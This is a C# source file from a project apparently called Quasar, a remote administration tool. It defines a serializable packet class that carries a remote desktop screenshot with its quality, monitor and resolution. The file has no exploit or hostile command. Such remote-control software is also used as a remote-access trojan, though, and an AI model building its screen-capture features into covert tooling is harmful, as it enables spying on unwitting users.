Files
Quasar/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs
T
MaxXor 23cafeb2f3 Switched from ProtoBuff to NetSerializer
NetSerializer should be slightly faster than Protocol Buffers
2015-08-08 16:21:09 +02:00

34 lines
760 B
C#

using System;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{
[Serializable]
public class GetDesktopResponse : IPacket
{
public byte[] Image { get; set; }
public int Quality { get; set; }
public int Monitor { get; set; }
public string Resolution { get; set; }
public GetDesktopResponse()
{
}
public GetDesktopResponse(byte[] image, int quality, int monitor, string resolution)
{
this.Image = image;
this.Quality = quality;
this.Monitor = monitor;
this.Resolution = resolution;
}
public void Execute(Client client)
{
client.Send(this);
}
}
}